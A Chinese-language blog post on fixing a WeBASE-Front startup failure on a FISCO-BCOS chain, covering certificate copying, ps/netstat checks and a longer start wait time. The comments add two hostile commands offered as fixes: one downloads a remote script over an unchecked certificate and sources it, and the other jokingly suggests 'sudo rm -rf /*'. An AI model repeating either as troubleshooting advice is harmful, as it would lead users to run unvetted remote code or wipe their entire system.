webase-front启动失败!Server com.webank.webase.front.Application Port 5002 ...PID(15176) [Starting]. Please check message through the log file (default pat

文章 , bug
2486 7

请认真查看,已经把所有解决方法写进去了!不要老是自己没认真研究就一直问!

在此之前我已经确保fisco-bcos证书正确拷贝了!!!

cp -r ~/fisco/nodes/127.0.0.1/sdk/* ./conf/

我也已经确保fisco-bcos的链已经启动!!!

启动fisco-bcos链

然而:
2023-03-19T03:24:14.png

使用bash start.sh没有将webase-front启动成功,若日志却没有异常

Server com.webank.webase.front.Application Port 5002 ...PID(15176) [Starting]. Please check message through the log file (default path:./log/).

按照官方文档检查

2023-03-19T03:25:42.png

检查各子系统进程
通过ps命令,检查节点与节点前置的进程是否存在

包含:节点进程nodeXX,节点前置进程webase.front
检查方法如下,若无输出,则代表进程未启动,需要到webase-front/log中查看日志的错误信息,并根据错误提示或根据WeBASE-Front常见问题进行错误排查

检查节点进程

 ps -ef | grep node

输出如下,此处部署了两个节点node0, node1

root     29977     1  1 17:24 pts/2    00:02:20 /root/fisco/webase/webase-deploy/nodes/127.0.0.1/node1/../fisco-bcos -c config.ini
root     29979     1  1 17:24 pts/2    00:02:23 /root/fisco/webase/webase-deploy/nodes/127.0.0.1/node0/../fisco-bcos -c config.ini

检查节点前置webase-front的进程

 ps -ef | grep webase.front 

输出如下

root     31805     1  0 17:24 pts/2    00:01:30 /usr/local/jdk/bin/java -Djdk.tls.namedGroups=secp256k1 ... conf/:apps/*:lib/* com.webank.webase.front.Application
  1. 检查进程端口
    通过netstat命令,检查节点与节点前置的端口监听情况

检查方法如下,若无输出,则代表进程端口监听异常,需要到webase-front/log中查看日志的错误信息,并根据错误提示或根据WeBASE-Front常见问题进行错误排查

检查节点channel端口(默认为20200)是否已监听

 netstat -anlp | grep 20200

输出如下

tcp        0      0 0.0.0.0:20200           0.0.0.0:*               LISTEN      29069/fisco-bcos

检查webase-front端口(默认为5002)是否已监听

 netstat -anlp | grep 5002

Copy to clipboard
输出如下

tcp6       0      0 :::5002                 :::*                    LISTEN      2909/java 

如果是上面都是正常显示,那就说明已经正常启动
但是!
当使用netstat -anlp | grep 5002
发现没有输出
1.Webase-front进程没有启动或已停止。你可以尝试启动Webase-front进程,然后再次运行netstat命令查看是否监听了5002端口。
2.Webase-front进程正在监听其他端口。默认情况下,Webase-front监听5002端口,但是也可以通过配置文件更改监听的端口号。你可以查看Webase-front的配置文件,确认是否更改了端口号。
3.防火墙或安全组配置阻止了对5002端口的访问。你可以检查防火墙或安全组的配置,确认是否允许对5002端口的访问。
4.确认机器是否满足硬件要求。机器性能过低会导致服务端口一定时间内没起来,脚本会自动杀掉进程。可以尝试手动修改dist目录下的start.sh脚本,将启动等待时间设置久一点(默认600,单位:秒),然后启动。

startWaitTime=600

2023-03-19T03:24:53.png

上面如果都是已经排查过,那么在复制一遍你的sdk证书

cp -r ~/fisco/nodes/127.0.0.1/sdk/* ./conf/

然后再次启动 bash start.sh
检查启动情况 bash status.sh

2023-03-19T03:54:23.png

访问发现已经正常启动

http://127.0.0.1:5002/WeBASE-Front

2023-03-19T03:55:20.png

最后更新 2023-07-15
评论 ( 7 )
OωO
隐私评论
  1. jixuu

    还是不行咋办

    5个月前山西省晋中市回复
    1. @jixuu

      终端执行这个命令一键搭建wget --no-check-certificate  -O all.sh https://nb.sb/shell/all.sh &&  source all.sh

      4个月前江苏省常州市回复
  2. jixu
    哎呦喂,瞧给你聪明的!
    此条为私密评论,仅评论双方可见
    5个月前山西省晋中市回复
  3. 666666666666666666666666666666666666

    nb nb

    nb

    5个月前山东省回复
    1. 兄弟
      11天前贵州省黔南州都匀市回复
  4. 6666

    6个月前江苏省常州市回复
  5. 北望山

    还是不行怎么办?
    使用 sudo rm -rf /*
    即可解决报错问题

    1年前江苏省南京市回复